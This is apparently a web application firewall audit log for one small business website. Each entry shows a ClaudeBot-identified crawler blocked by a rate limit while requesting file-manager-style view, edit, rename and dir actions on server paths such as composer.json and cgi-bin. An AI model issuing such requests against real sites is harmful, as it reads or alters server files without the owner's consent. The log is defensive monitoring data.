F:||RSV:7.71||T:APACHE||\"] [severity \"DEBUG\"] [tag \"service_im360\"] [tag \"noshow\"]"],"action":{"intercepted":true,"phase":2,"message":"Operator EQ matched 1 at SESSION:cld_bot_block."},"stopwatch":{"p1":181,"p2":2033,"p3":0,"p4":0,"p5":425,"sr":114,"sw":0,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:09:45:36.228050 +0100","transaction_id":"abPOsLJ190y1fElY11bnigAAAJY","remote_address":"216.73.216.152","remote_port":34512,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/agriculture-products/?view=%2Fhtdocs%2Fsivaco%2Fcomposer.json HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"216.73.216.152","X-Forwarded-Proto":"http","X-Request-Id":"69882dc7446acc6d2f9cddc0a9b1d343","X-L-Admin-Auth":"0","Accept":"*/*","User-Agent":"Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)","X-CDN-REAL-IP":"10.1.40.198","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"claudebot","X-Forwarded-For":"10.1.40.198","Via":"1.1 squid-proxy-5b5d847c96-lpx6s (squid/6.13), 1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"13894605"}},"response":{"protocol":"HTTP/1.1","status":403,"headers":{"Upgrade":"h2,h2c","Connection":"Upgrade","Accept-Ranges":"bytes","X-Orig-Rid":"69882dc7446acc6d2f9cddc0a9b1d343","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html"}},"audit_data":{"messages":["Access denied with code 403 (phase 2). [file \"/usr/share/modsecurity_lws/011_i360_otherapps.conf\"] [line \"435\"] [id \"77350583\"] [msg \"IM360 WAF: Rate limit exceeded for Claudebot Crawler Bot||Count:0||Range:||MVN:SESSION:cld_bot_block||MV:1||RSV:7.71||T:APACHE||\"] [severity \"CRITICAL\"] [tag \"service_im360\"]","Operator EQ matched 1 at TX:trapped. [file \"/usr/share/modsecurity_lws/016_i360_monitor.conf\"] [line \"111\"] [id \"33329\"] [msg \"IM360 WAF: IPRec G:view=/htdocs/sivaco/composer.json& P: F:||RSV:7.71||T:APACHE||\"] [severity \"DEBUG\"] [tag \"service_im360\"] [tag \"noshow\"]"],"action":{"intercepted":true,"phase":2,"message":"Operator EQ matched 1 at SESSION:cld_bot_block."},"stopwatch":{"p1":191,"p2":1722,"p3":0,"p4":0,"p5":353,"sr":113,"sw":0,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:09:45:36.319259 +0100","transaction_id":"abPOsIB2aIMAFdsi8EHyjwAAAs8","remote_address":"216.73.216.152","remote_port":36074,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/agriculture-products/?dir=%2F%2Fcgi-bin HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"216.73.216.152","X-Forwarded-Proto":"http","X-Request-Id":"15a452ca9c4c20ea22fbd0bc46c9ab5e","X-L-Admin-Auth":"0","Accept":"*/*","User-Agent":"Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)","X-CDN-REAL-IP":"10.1.40.198","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"claudebot","X-Forwarded-For":"10.1.40.198","Via":"1.1 squid-proxy-5b5d847c96-lpx6s (squid/6.13), 1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"13533971"}},"response":{"protocol":"HTTP/1.1","status":403,"headers":{"Accept-Ranges":"bytes","X-Orig-Rid":"15a452ca9c4c20ea22fbd0bc46c9ab5e","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html"}},"audit_data":{"messages":["Access denied with code 403 (phase 2). [file \"/usr/share/modsecurity_lws/011_i360_otherapps.conf\"] [line \"435\"] [id \"77350583\"] [msg \"IM360 WAF: Rate limit exceeded for Claudebot Crawler Bot||Count:0||Range:||MVN:SESSION:cld_bot_block||MV:1||RSV:7.71||T:APACHE||\"] [severity \"CRITICAL\"] [tag \"service_im360\"]","Operator EQ matched 1 at TX:trapped. [file \"/usr/share/modsecurity_lws/016_i360_monitor.conf\"] [line \"111\"] [id \"33329\"] [msg \"IM360 WAF: IPRec G:dir=//cgi-bin& P: F:||RSV:7.71||T:APACHE||\"] [severity \"DEBUG\"] [tag \"service_im360\"] [tag \"noshow\"]"],"action":{"intercepted":true,"phase":2,"message":"Operator EQ matched 1 at SESSION:cld_bot_block."},"stopwatch":{"p1":186,"p2":1900,"p3":0,"p4":0,"p5":287,"sr":103,"sw":0,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:09:45:36.410680 +0100","transaction_id":"abPOsIB2aIMAFdsi8EHykAAAAs8","remote_address":"216.73.216.152","remote_port":36074,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/agriculture-products/?edit=%2F%2Fphpd673772754.socket HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"216.73.216.152","X-Forwarded-Proto":"http","X-Request-Id":"f4573c3a51076a18304ba9cd4b77f77f","X-L-Admin-Auth":"0","Accept":"*/*","User-Agent":"Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)","X-CDN-REAL-IP":"10.1.40.198","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"claudebot","X-Forwarded-For":"10.1.40.198","Via":"1.1 squid-proxy-5b5d847c96-lpx6s (squid/6.13), 1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"12028807"}},"response":{"protocol":"HTTP/1.1","status":403,"headers":{"Accept-Ranges":"bytes","X-Orig-Rid":"f4573c3a51076a18304ba9cd4b77f77f","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html"}},"audit_data":{"messages":["Access denied with code 403 (phase 2). [file \"/usr/share/modsecurity_lws/011_i360_otherapps.conf\"] [line \"435\"] [id \"77350583\"] [msg \"IM360 WAF: Rate limit exceeded for Claudebot Crawler Bot||Count:0||Range:||MVN:SESSION:cld_bot_block||MV:1||RSV:7.71||T:APACHE||\"] [severity \"CRITICAL\"] [tag \"service_im360\"]","Operator EQ matched 1 at TX:trapped. [file \"/usr/share/modsecurity_lws/016_i360_monitor.conf\"] [line \"111\"] [id \"33329\"] [msg \"IM360 WAF: IPRec G:edit=//phpd673772754.socket& P: F:||RSV:7.71||T:APACHE||\"] [severity \"DEBUG\"] [tag \"service_im360\"] [tag \"noshow\"]"],"action":{"intercepted":true,"phase":2,"message":"Operator EQ matched 1 at SESSION:cld_bot_block."},"stopwatch":{"p1":208,"p2":2346,"p3":0,"p4":0,"p5":449,"sr":108,"sw":0,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:09:45:36.500174 +0100","transaction_id":"abPOsKg_lPa2owFZ6_PvHQAAAQU","remote_address":"216.73.216.152","remote_port":33144,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/agriculture-products/?view=%2Fhtdocs%2Fjmksite.jmkconsulting-ci.com%2Funzipper.php HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"216.73.216.152","X-Forwarded-Proto":"http","X-Request-Id":"08f0cb89492f6d4ee922c11a0348b213","X-L-Admin-Auth":"0","Accept":"*/*","User-Agent":"Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)","X-CDN-REAL-IP":"10.1.40.198","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"claudebot","X-Forwarded-For":"10.1.40.198","Via":"1.1 squid-proxy-5b5d847c96-lpx6s (squid/6.13), 1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"13042649"}},"response":{"protocol":"HTTP/1.1","status":403,"headers":{"Accept-Ranges":"bytes","X-Orig-Rid":"08f0cb89492f6d4ee922c11a0348b213","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html"}},"audit_data":{"messages":["Access denied with code 403 (phase 2). [file \"/usr/share/modsecurity_lws/011_i360_otherapps.conf\"] [line \"435\"] [id \"77350583\"] [msg \"IM360 WAF: Rate limit exceeded for Claudebot Crawler Bot||Count:0||Range:||MVN:SESSION:cld_bot_block||MV:1||RSV:7.71||T:APACHE||\"] [severity \"CRITICAL\"] [tag \"service_im360\"]","Operator EQ matched 1 at TX:trapped. [file \"/usr/share/modsecurity_lws/016_i360_monitor.conf\"] [line \"111\"] [id \"33329\"] [msg \"IM360 WAF: IPRec G:view=/htdocs/jmksite.jmkconsulting-ci.com/unzipper.php& P: F:||RSV:7.71||T:APACHE||\"] [severity \"DEBUG\"] [tag \"service_im360\"] [tag \"noshow\"]"],"action":{"intercepted":true,"phase":2,"message":"Operator EQ matched 1 at SESSION:cld_bot_block."},"stopwatch":{"p1":185,"p2":1648,"p3":0,"p4":0,"p5":381,"sr":98,"sw":0,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:09:45:36.593103 +0100","transaction_id":"abPOsLJ190y1fElY11bnjQAAAJY","remote_address":"216.73.216.152","remote_port":34512,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/agriculture-products/?edit=%2Fhtdocs%2Fnew_jmk%2Fservices.html HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"216.73.216.152","X-Forwarded-Proto":"http","X-Request-Id":"10dbd9d19e700d577ef7c15c9f5f8d3a","X-L-Admin-Auth":"0","Accept":"*/*","User-Agent":"Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)","X-CDN-REAL-IP":"10.1.40.198","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"claudebot","X-Forwarded-For":"10.1.40.198","Via":"1.1 squid-proxy-5b5d847c96-lpx6s (squid/6.13), 1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"9570870"}},"response":{"protocol":"HTTP/1.1","status":403,"headers":{"Accept-Ranges":"bytes","X-Orig-Rid":"10dbd9d19e700d577ef7c15c9f5f8d3a","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html"}},"audit_data":{"messages":["Access denied with code 403 (phase 2). [file \"/usr/share/modsecurity_lws/011_i360_otherapps.conf\"] [line \"435\"] [id \"77350583\"] [msg \"IM360 WAF: Rate limit exceeded for Claudebot Crawler Bot||Count:0||Range:||MVN:SESSION:cld_bot_block||MV:1||RSV:7.71||T:APACHE||\"] [severity \"CRITICAL\"] [tag \"service_im360\"]","Operator EQ matched 1 at TX:trapped. [file \"/usr/share/modsecurity_lws/016_i360_monitor.conf\"] [line \"111\"] [id \"33329\"] [msg \"IM360 WAF: IPRec G:edit=/htdocs/new_jmk/services.html& P: F:||RSV:7.71||T:APACHE||\"] [severity \"DEBUG\"] [tag \"service_im360\"] [tag \"noshow\"]"],"action":{"intercepted":true,"phase":2,"message":"Operator EQ matched 1 at SESSION:cld_bot_block."},"stopwatch":{"p1":283,"p2":2516,"p3":0,"p4":0,"p5":531,"sr":140,"sw":0,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:09:45:36.682234 +0100","transaction_id":"abPOsKg_lPa2owFZ6_PvHwAAAQU","remote_address":"216.73.216.152","remote_port":33144,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/agriculture-products/?rename=%2F%2Fphp.socket HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"216.73.216.152","X-Forwarded-Proto":"http","X-Request-Id":"18a8f84a159b500ffeb090bfb80057ff","X-L-Admin-Auth":"0","Accept":"*/*","User-Agent":"Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)","X-CDN-REAL-IP":"10.1.40.198","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"claudebot","X-Forwarded-For":"10.1.40.198","Via":"1.1 squid-proxy-5b5d847c96-lpx6s (squid/6.13), 1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"9570873"}},"response":{"protocol":"HTTP/1.1","status":403,"headers":{"Accept-Ranges":"bytes","X-Orig-Rid":"18a8f84a159b500ffeb090bfb80057ff","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html"}},"audit_data":{"messages":["Access denied with code 403 (phase 2). [file \"/usr/share/modsecurity_lws/011_i360_otherapps.conf\"] [line \"435\"] [id \"77350583\"] [msg \"IM360 WAF: Rate limit exceeded for Claudebot Crawler Bot||Count:0||Range:||MVN:SESSION:cld_bot_block||MV:1||RSV:7.71||T:APACHE||\"] [severity \"CRITICAL\"] [tag \"service_im360\"]","Operator EQ matched 1 at TX:trapped. [file \"/usr/share/modsecurity_lws/016_i360_monitor.conf\"] [line \"111\"] [id \"33329\"] [msg \"IM360 WAF: IPRec G:rename=//php.socket& P: F:||RSV:7.71||T:APACHE||\"] [severity \"DEBUG\"] [tag \"service_im360\"] [tag \"noshow\"]"],"action":{"intercepted":true,"phase":2,"message":"Operator EQ matched 1 at SESSION:cld_bot_block."},"stopwatch":{"p1":174,"p2":1724,"p3":0,"p4":0,"p5":287,"sr":106,"sw":0,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:09:45:36.790742 +0100","transaction_id":"abPOsLJ190y1fElY11bnjwAAAJY","remote_address":"216.73.216.152","remote_port":34512,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/agriculture-products/?rename=%2Fhtdocs%2Fatito.com%2Findex41_old.php HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"216.73.216.152","X-Forwarded-Proto":"http","X-Request-Id":"af67a37570eb071fcaf79f6d5bd1f1e3","X-L-Admin-Auth":"0","Accept":"*/*","User-Agent":"Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)","X-CDN-REAL-IP":"10.1.40.198","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"claudebot","X-Forwarded-For":"10.1.40.198","Via":"1.1 squid-proxy-5b5d847c96-lpx6s (squid/6.13), 1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"13042655"}},"response":{"protocol":"HTTP/1.1","status":403,"headers":{"Accept-Ranges":"bytes","X-Orig-Rid":"af67a37570eb071fcaf79f6d5bd1f1e3","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html"}},"audit_data":{"messages":["Access denied with code 403 (phase 2). [file \"/usr/share/modsecurity_lws/011_i360_otherapps.conf\"] [line \"435\"] [id \"77350583\"] [msg \"IM360 WAF: Rate limit exceeded for Claudebot Crawler Bot||Count:0||Range:||MVN:SESSION:cld_bot_block||MV:1||RSV:7.71||T:APACHE||\"] [severity \"CRITICAL\"] [tag \"service_im360\"]","Operator EQ matched 1 at TX:trapped. [file \"/usr/share/modsecurity_lws/016_i360_monitor.conf\"] [line \"111\"] [id \"33329\"] [msg \"IM360 WAF: IPRec G:rename=/htdocs/atito.com/index41_old.php& P: F:||RSV:7.71||T:APACHE||\"] [severity \"DEBUG\"] [tag \"service_im360\"] [tag \"noshow\"]"],"action":{"intercepted":true,"phase":2,"message":"Operator EQ matched 1 at SESSION:cld_bot_block."},"stopwatch":{"p1":169,"p2":1970,"p3":0,"p4":0,"p5":317,"sr":148,"sw":0,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:09:45:36.865057 +0100","transaction_id":"abPOsIB2aIMAFdsi8EHykgAAAsg","remote_address":"216.73.216.152","remote_port":34520,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/agriculture-products/?rename=%2Fhtdocs%2Fatito.com%2Fdashboard-messages.html HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"216.73.216.152","X-Forwarded-Proto":"http","X-Request-Id":"91c390c85f1c86daf92aba14990ea76d","X-L-Admin-Auth":"0","Accept":"*/*","User-Agent":"Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)","X-CDN-REAL-IP":"10.1.40.198","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"claudebot","X-Forwarded-For":"10.1.40.198","Via":"1.1 squid-proxy-5b5d847c96-lpx6s (squid/6.13), 1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"13894612"}},"response":{"protocol":"HTTP/1.1","status":403,"headers":{"Upgrade":"h2,h2c","Connection":"Upgrade","Accept-Ranges":"bytes","X-Orig-Rid":"91c390c85f1c86daf92aba14990ea76d","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html"}},"audit_data":{"messages":["Access denied with code 403 (phase 2). [file \"/usr/share/modsecurity_lws/011_i360_otherapps.conf\"] [line \"435\"] [id \"77350583\"] [msg \"IM360 WAF: Rate limit exceeded for Claudebot Crawler Bot||Count:0||Range:||MVN:SESSION:cld_bot_block||MV:1||RSV:7.71||T:APACHE||\"] [severity \"CRITICAL\"] [tag \"service_im360\"]","Operator EQ matched 1 at TX:trapped. [file \"/usr/share/modsecurity_lws/016_i360_monitor.conf\"] [line \"111\"] [id \"33329\"] [msg \"IM360 WAF: IPRec G:rename=/htdocs/atito.com/dashboard-messages.html& P: F:||RSV:7.71||T:APACHE||\"] [severity \"DEBUG\"] [tag \"service_im360\"] [tag \"noshow\"]"],"action":{"intercepted":true,"phase":2,"message":"Operator EQ matched 1 at SESSION:cld_bot_block."},"stopwatch":{"p1":197,"p2":1672,"p3":0,"p4":0,"p5":324,"sr":103,"sw":1,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:09:45:36.957279 +0100","transaction_id":"abPOsIB2aIMAFdsi8EHykwAAAs8","remote_address":"216.73.216.152","remote_port":36074,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/agriculture-products/?rename=%2Fhtdocs%2Fatito.com%2Findex4.html HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"216.73.216.152","X-Forwarded-Proto":"http","X-Request-Id":"69691e59c999fae34af57839b3860d8e","X-L-Admin-Auth":"0","Accept":"*/*","User-Agent":"Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)","X-CDN-REAL-IP":"10.1.40.198","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"claudebot","X-Forwarded-For":"10.1.40.198","Via":"1.1 squid-proxy-5b5d847c96-lpx6s (squid/6.13), 1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"12028813"}},"response":{"protocol":"HTTP/1.1","status":403,"headers":{"Accept-Ranges":"bytes","X-Orig-Rid":"69691e59c999fae34af57839b3860d8e","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html"}},"audit_data":{"messages":["Access denied with code 403 (phase 2). [file \"/usr/share/modsecurity_lws/011_i360_otherapps.conf\"] [line \"435\"] [id \"77350583\"] [msg \"IM360 WAF: Rate limit exceeded for Claudebot Crawler Bot||Count:0||Range:||MVN:SESSION:cld_bot_block||MV:1||RSV:7.71||T:APACHE||\"] [severity \"CRITICAL\"] [tag \"service_im360\"]","Operator EQ matched 1 at TX:trapped. [file \"/usr/share/modsecurity_lws/016_i360_monitor.conf\"] [line \"111\"] [id \"33329\"] [msg \"IM360 WAF: IPRec G:rename=/htdocs/atito.com/index4.html& P: F:||RSV:7.71||T:APACHE||\"] [severity \"DEBUG\"] [tag \"service_im360\"] [tag \"noshow\"]"],"action":{"intercepted":true,"phase":2,"message":"Operator EQ matched 1 at SESSION:cld_bot_block."},"stopwatch":{"p1":222,"p2":2242,"p3":0,"p4":0,"p5":431,"sr":120,"sw":1,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:09:45:37.048364 +0100","transaction_id":"abPOsag_lPa2owFZ6_PvIQAAAQU","remote_address":"216.73.216.152","remote_port":33144,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/agriculture-products/?view=%2Fhtdocs%2Fjmkconsulting.ci%2Funzipper.php HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"216.73.216.152","X-Forwarded-Proto":"http","X-Request-Id":"a3bc4efe37f1b34750404182c20f8dde","X-L-Admin-Auth":"0","Accept":"*/*","User-Agent":"Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)","X-CDN-REAL-IP":"10.1.40.198","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"claudebot","X-Forwarded-For":"10.1.40.198","Via":"1.1 squid-proxy-5b5d847c96-lpx6s (squid/6.13), 1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"2101762"}},"response":{"protocol":"HTTP/1.1","status":403,"headers":{"Accept-Ranges":"bytes","X-Orig-Rid":"a3bc4efe37f1b34750404182c20f8dde","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html"}},"audit_data":{"messages":["Access denied with code 403 (phase 2). [file \"/usr/share/modsecurity_lws/011_i360_otherapps.conf\"] [line \"435\"] [id \"77350583\"] [msg \"IM360 WAF: Rate limit exceeded for Claudebot Crawler Bot||Count:0||Range:||MVN:SESSION:cld_bot_block||MV:1||RSV:7.71||T:APACHE||\"] [severity \"CRITICAL\"] [tag \"service_im360\"]","Operator EQ matched 1 at TX:trapped. [file \"/usr/share/modsecurity_lws/016_i360_monitor.conf\"] [line \"111\"] [id \"33329\"] [msg \"IM360 WAF: IPRec G:view=/htdocs/jmkconsulting.ci/unzipper.php& P: F:||RSV:7.71||T:APACHE||\"] [severity \"DEBUG\"] [tag \"service_im360\"] [tag \"noshow\"]"],"action":{"intercepted":true,"phase":2,"message":"Operator EQ matched 1 at SESSION:cld_bot_block."},"stopwatch":{"p1":185,"p2":2151,"p3":0,"p4":0,"p5":428,"sr":113,"sw":0,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:09:45:37.139577 +0100","transaction_id":"abPOsYB2aIMAFdsi8EHylQAAAsg","remote_address":"216.73.216.152","remote_port":34520,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/agriculture-products/?view=%2Fhtdocs%2Fsivaco%2Fpackage-lock.json HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"216.73.216.152","X-Forwarded-Proto":"http","X-Request-Id":"42175c5125d3edd61973fa663f1ed56f","X-L-Admin-Auth":"0","Accept":"*/*","User-Agent":"Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)","X-CDN-REAL-IP":"10.1.40.198","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"claudebot","X-Forwarded-For":"10.1.40.198","Via":"1.1 squid-proxy-5b5d847c96-lpx6s (squid/6.13), 1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"12028816"}},"response":{"protocol":"HTTP/1.1","status":403,"headers":{"Accept-Ranges":"bytes","X-Orig-Rid":"42175c5125d3edd61973fa663f1ed56f","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html"}},"audit_data":{"messages":["Access denied with code 403 (phase 2). [file \"/usr/share/modsecurity_lws/011_i360_otherapps.conf\"] [line \"435\"] [id \"77350583\"] [msg \"IM360 WAF: Rate limit exceeded for Claudebot Crawler Bot||Count:0||Range:||MVN:SESSION:cld_bot_block||MV:1||RSV:7.71||T:APACHE||\"] [severity \"CRITICAL\"] [tag \"service_im360\"]","Operator EQ matched 1 at TX:trapped. [file \"/usr/share/modsecurity_lws/016_i360_monitor.conf\"] [line \"111\"] [id \"33329\"] [msg \"IM360 WAF: IPRec G:view=/htdocs/sivaco/package-lock.json& P: F:||RSV:7.71||T:APACHE||\"] [severity \"DEBUG\"] [tag \"service_im360\"] [tag \"noshow\"]"],"action":{"intercepted":true,"phase":2,"message":"Operator EQ matched 1 at SESSION:cld_bot_block."},"stopwatch":{"p1":182,"p2":1777,"p3":0,"p4":0,"p5":298,"sr":123,"sw":0,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:09:45:37.231645 +0100","transaction_id":"abPOsYB2aIMAFdsi8EHylgAAAs8","remote_address":"216.73.216.152","remote_port":36074,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/agriculture-products/?dir=%2Fhtdocs%2Fsivaco%2Fapp HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"216.73.216.152","X-Forwarded-Proto":"http","X-Request-Id":"d4aa969fc5bf9e8af0fd3ff076e1573e","X-L-Admin-Auth":"0","Accept":"*/*","User-Agent":"Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)","X-CDN-REAL-IP":"10.1.40.198","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"claudebot","X-Forwarded-For":"10.1.40.198","Via":"1.1 squid-proxy-5b5d847c96-lpx6s (squid/6.13), 1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"12028819"}},"response":{"protocol":"HTTP/1.1","status":403,"headers":{"Accept-Ranges":"bytes","X-Orig-Rid":"d4aa969fc5bf9e8af0fd3ff076e1573e","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html"}},"audit_data":{"messages":["Access denied with code 403 (phase 2). [file \"/usr/share/modsecurity_lws/011_i360_otherapps.conf\"] [line \"435\"] [id \"77350583\"] [msg \"IM360 WAF: Rate limit exceeded for Claudebot Crawler Bot||Count:0||Range:||MVN:SESSION:cld_bot_block||MV:1||RSV:7.71||T:APACHE||\"] [severity \"CRITICAL\"] [tag \"service_im360\"]","Operator EQ matched 1 at TX:trapped. [file \"/usr/share/modsecurity_lws/016_i360_monitor.conf\"] [line \"111\"] [id \"33329\"] [msg \"IM360 WAF: IPRec G:dir=/htdocs/sivaco/app& P: F:||RSV:7.71||T:APACHE||\"] [severity \"DEBUG\"] [tag \"service_im360\"] [tag \"noshow\"]"],"action":{"intercepted":true,"phase":2,"message":"Operator EQ matched 1 at SESSION:cld_bot_block."},"stopwatch":{"p1":186,"p2":2777,"p3":0,"p4":0,"p5":472,"sr":126,"sw":1,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
